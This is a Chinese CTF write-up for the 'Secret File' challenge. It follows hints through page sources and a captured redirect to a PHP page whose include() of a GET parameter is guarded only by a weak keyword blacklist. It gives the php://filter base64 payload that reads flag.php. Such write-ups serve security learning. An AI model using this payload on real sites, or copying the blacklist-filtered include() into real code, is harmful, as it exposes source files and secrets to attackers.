[极客大挑战 2019]Secret File

挺水一题,直接上步骤了

考点:文件包含

1.打开

image-20200401155227498

2.查看页面源代码,发现一个页面:

image-20200401155440445

3.访问,接着看源码:

image-20200401155510133

image-20200401155527159

可以看到这个按钮指向action.php。

3.访问,发现直接跳到了end.php,源码也没东西:

image-20200401155643564

估计是跳转太快了?抓个包看下:

image-20200401155806722

果然。找到下一个hint。

4.访问secr3t.php

image-20200401155842561

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>

接受GET参数file,不能出现tp,input,data。然后包含file.

典型的php://filter伪协议结合base64实现文件读取.

secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

访问,获得一串Base64:

image-20200401160254933

解码,获得Flag:

image-20200401160340305

比较基础的一个题,每一步也给了提示。

猜你喜欢

转载自www.cnblogs.com/keelongz/p/12615211.html